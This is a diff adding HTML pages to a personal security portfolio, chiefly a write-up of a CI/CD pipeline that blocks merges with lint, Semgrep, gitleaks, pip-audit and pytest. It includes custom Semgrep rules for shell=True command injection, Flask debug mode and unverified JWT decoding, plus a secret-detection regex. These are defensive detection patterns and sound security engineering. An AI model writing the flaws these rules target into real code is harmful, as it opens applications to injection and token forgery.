| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/secure-cicd-pipeline/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Secure CI/CD Pipeline | Zion Boggan"> | |
| + | <meta property="og:description" content="A GitHub Actions pipeline that gates every merge on four security checks, SAST, secret scanning, dependency audit, and tests, with custom Semgrep rules and findings routed back to the SOC."> | |
| + | <meta property="og:url" content="https://zionboggan.com/secure-cicd-pipeline/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/secure-cicd-pipeline/01-semgrep-sast.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Secure CI/CD Pipeline | Zion Boggan"> | |
| + | <meta name="twitter:description" content="A GitHub Actions pipeline that gates every merge on four security checks, SAST, secret scanning, dependency audit, and tests, with custom Semgrep rules and findings routed back to the SOC."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/secure-cicd-pipeline/01-semgrep-sast.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Secure CI/CD Pipeline","description":"A GitHub Actions pipeline that gates every merge on four security checks, SAST, secret scanning, dependency audit, and tests, with custom Semgrep rules and findings routed back to the SOC.","url":"https://zionboggan.com/secure-cicd-pipeline/","image":"https://zionboggan.com/assets/secure-cicd-pipeline/01-semgrep-sast.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">SECURE CI/CD</div> | |
| + | <h1>Secure CI/CD Pipeline</h1> | |
| + | <p class="tagline">A GitHub Actions pipeline that gates every merge on four security checks, SAST, secret scanning, dependency audit, and tests, with custom Semgrep rules and findings routed back to the SOC.</p> | |
| + | <div class="tags"><span>GitHub Actions</span><span>Semgrep</span><span>gitleaks</span><span>pip-audit</span><span>ruff</span><span>pytest</span><span>SARIF</span><span>Flask</span><span>Python</span><span>Shuffle SOAR</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">4</div><div class="k">Pre-merge security gates</div></div><div class="stat"><div class="n">4</div><div class="k">Custom Semgrep rules</div></div><div class="stat"><div class="n">5</div><div class="k">Passing pytest tests</div></div><div class="stat"><div class="n">3</div><div class="k">Upstream Semgrep packs (default, python, flask)</div></div><div class="stat"><div class="n">2</div><div class="k">Least-privilege workflow permissions</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/secure-cicd-pipeline/01-semgrep-sast.png" alt="The four custom Semgrep rules firing on a deliberately vulnerable file - every finding is blocking, so the SAST gate fails the pipeline before merge."></figure><figcaption>The four custom Semgrep rules firing on a deliberately vulnerable file, every finding is blocking, so the SAST gate fails the pipeline before merge.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>The four gates</h2> | |
| + | <p>A cheap <code>ruff</code> lint runs first as fail-fast. The three security scans then fan out in parallel via <code>needs: lint</code>, the test job waits on all three, and the SOC notification runs last with <code>if: always()</code> so failures are reported too, not just green runs. The workflow holds only <code>contents: read</code> and <code>security-events: write</code>.</p><pre><code>jobs: | |
| + | lint: | |
| + | runs-on: ubuntu-latest | |
| + | steps: | |
| + | - uses: actions/checkout@v4 | |
| + | - uses: actions/setup-python@v5 | |
| + | with: | |
| + | python-version: "3.11" | |
| + | - run: pip install ruff==0.6.9 | |
| + | - run: ruff check . | |
| + | ||
| + | sast: | |
| + | runs-on: ubuntu-latest | |
| + | needs: lint | |
| + | steps: | |
| + | - uses: actions/checkout@v4 | |
| + | - uses: returntocorp/semgrep-action@v1 | |
| + | with: | |
| + | config: >- | |
| + | p/default | |
| + | p/python | |
| + | p/flask | |
| + | .semgrep/rules.yml | |
| + | generateSarif: "1"</code></pre><table><thead><tr><th>Job</th><th>Tool</th><th>What it stops</th></tr></thead><tbody><tr><td><code>lint</code></td><td>ruff</td><td>Style plus the <code>S</code> security rule set</td></tr><tr><td><code>sast</code></td><td>Semgrep</td><td>OWASP/Flask packs plus four custom rules</td></tr><tr><td><code>secrets</code></td><td>gitleaks</td><td>Committed credentials, full history on PRs</td></tr><tr><td><code>dependencies</code></td><td>pip-audit</td><td>Pinned packages with known advisories</td></tr><tr><td><code>test</code></td><td>pytest</td><td>Regressions, with coverage reported</td></tr></tbody></table> | |
| + | <h2>Custom Semgrep rules</h2> | |
| + | <p>The upstream packs (<code>p/default</code>, <code>p/python</code>, <code>p/flask</code>) catch the common cases; <code>.semgrep/rules.yml</code> adds four rules for patterns that kept slipping through. Three are <code>ERROR</code> severity and block the merge; the <code>0.0.0.0</code> bind is a <code>WARNING</code> nudge to confirm intent.</p><pre><code>rules: | |
| + | - id: flask-debug-true | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: Running Flask with debug=True exposes the Werkzeug debugger and allows remote code execution. | |
| + | patterns: | |
| + | - pattern: $APP.run(..., debug=True, ...) | |
| + | ||
| + | - id: subprocess-shell-true | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: subprocess call with shell=True and a non-literal argument is a command injection risk. | |
| + | patterns: | |
| + | - pattern: subprocess.$FN(..., shell=True, ...) | |
| + | - pattern-not: subprocess.$FN("...", shell=True, ...)</code></pre><p>The <code>subprocess</code> rule uses a <code>pattern-not</code> to exempt fully-literal command strings, so it only fires when an attacker-controllable argument reaches the shell. The fourth rule, <code>jwt-decode-without-verification</code>, matches both <code>verify=False</code> and an <code>options</code> dict that disables <code>verify_signature</code>, the two ways a forged token gets accepted.</p> | |
| + | <h2>Secret + dependency scanning</h2> | |
| + | <p>The <code>secrets</code> job checks out with <code>fetch-depth: 0</code> so gitleaks scans the full history on a pull request, not just the tip commit, and runs against a project config that extends the defaults with a generic API-key rule plus an allowlist for test fixtures and documented placeholders:</p><pre><code>[[rules]] | |
| + | id = "generic-api-key" | |
| + | description = "Generic API key assignment" | |
| + | regex = '''(?i)(api[_-]?key|secret|token)["'\s:=]{1,4}[a-z0-9]{24,}''' | |
| + | keywords = ["api_key", "apikey", "secret", "token"]</code></pre><p>The dependency gate runs <code>pip-audit -r requirements.txt --strict --desc</code> against the pinned manifest. <code>--strict</code> fails the build on any package carrying a known advisory and <code>--desc</code> prints the advisory text into the log, so the diff between a passing and failing run is a single pinned version.</p> | |
| + | <h2>SARIF and the Security tab</h2> | |
| + | <p>Semgrep is invoked with <code>generateSarif: "1"</code> and the SARIF file is uploaded through <code>github/codeql-action/upload-sarif@v3</code> with <code>if: always()</code>, so findings surface under the repository's Security tab and as inline pull-request annotations rather than living only in the job log. Uploading on <code>always()</code> means a failing SAST run still publishes its findings instead of swallowing them when the step exits non-zero.</p> | |
| + | <h2>SOC notifier</h2> | |
| + | <p>The final <code>notify-soc</code> job posts the run outcome, repository, commit, actor, status, and a link back to the run, to a Shuffle webhook, passing <code>PIPELINE_STATUS: ${{ needs.test.result }}</code> so the payload reflects whether the gates actually passed. The notifier in <code>scripts/notify_soc.py</code> uses only the Python standard library, validates the webhook is an http(s) URL, and degrades gracefully: if <code>SHUFFLE_WEBHOOK_URL</code> is unset the job no-ops instead of failing the build.</p><pre><code>def main(): | |
| + | hook = os.environ.get("SHUFFLE_WEBHOOK_URL") | |
| + | if not hook: | |
| + | print("SHUFFLE_WEBHOOK_URL not set, skipping SOC notification") | |
| + | return 0 | |
| + | if not hook.lower().startswith(("https://", "http://")): | |
| + | print("SHUFFLE_WEBHOOK_URL must be an http(s) URL", file=sys.stderr) | |
| + | return 1 | |
| + | event = build_event() | |
| + | body = json.dumps(event).encode("utf-8") | |
| + | req = request.Request( | |
| + | hook, data=body, headers={"Content-Type": "application/json"}, method="POST" | |
| + | )</code></pre><p>A network failure reaching the webhook returns <code>0</code> on purpose, the SOC being unreachable should not flip an otherwise-green build red. In the homelab this webhook feeds a SOC automation lab, so a failed security gate opens a TheHive case the same way a Wazuh alert does.</p> | |
| + | <h2>The sample app + tests</h2> | |
| + | <p>The target is a minimal Flask task API, health, list, create, fetch, and delete endpoints backed by a lock-guarded in-memory store. Five <code>pytest</code> tests cover the happy path plus the edge cases that matter for an API: missing required fields return <code>400</code>, unknown task IDs return <code>404</code>, and deletes return <code>204</code>. The store is reset between tests so each runs against a clean fixture.</p><pre><code>def test_delete(client): | |
| + | created = client.post("/tasks", json={"title": "temp"}).get_json()["task"] | |
| + | assert client.delete(f"/tasks/{created['id']}").status_code == 204 | |
| + | assert client.get(f"/tasks/{created['id']}").status_code == 404 | |
| + | ||
| + | ||
| + | def test_missing_task(client): | |
| + | assert client.get("/tasks/999").status_code == 404</code></pre><p>The app itself binds to <code>127.0.0.1</code> and never sets <code>debug=True</code>, so it passes its own custom Semgrep rules, the rules are written against the mistakes the app deliberately avoids.</p> | |
| + | <h2>What fails the build</h2> | |
| + | <p>Each gate fails the run for a concrete, reproducible reason, and because every gate is its own job the red check names the cause directly:</p><ul><li><code>lint</code>, ruff finds a style violation or an <code>S</code> security-rule hit</li><li><code>sast</code>, any <code>ERROR</code>-severity Semgrep finding, custom or upstream (<code>debug=True</code>, <code>shell=True</code> on non-literal input, <code>jwt.decode</code> without verification)</li><li><code>secrets</code>, gitleaks matches a credential anywhere in PR history that is not allowlisted</li><li><code>dependencies</code>, <code>pip-audit --strict</code> hits a pinned package with a known advisory</li><li><code>test</code>, any of the five pytest tests regresses</li></ul><p>Running <code>make all</code> executes the same chain locally, <code>lint sast secrets deps test</code>, given <code>semgrep</code> and <code>gitleaks</code> on the PATH and the rest pip-installed by <code>make install</code>, so a developer sees the same failure before pushing that the pipeline would surface after.</p> | |
| + | </div> | |
| + | <div class="gallery"><figure class="shot"><img loading="lazy" src="/assets/secure-cicd-pipeline/02-pip-audit-deps.png" alt="pip-audit failing the dependency gate on a pinned package with a known advisory."></figure><figcaption>pip-audit failing the dependency gate on a pinned package with a known advisory.</figcaption></div> | |
| + | <p class="repo-line">Repository · github.com/zionboggan/secure-cicd-pipeline</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -0,0 +1,359 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Fireblocks MPC-Lib Audit Summary | Zion Boggan</title> | |
| + | <meta name="description" content="Eight findings against the open-source Fireblocks MPC-CMP implementation, P1-P4."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
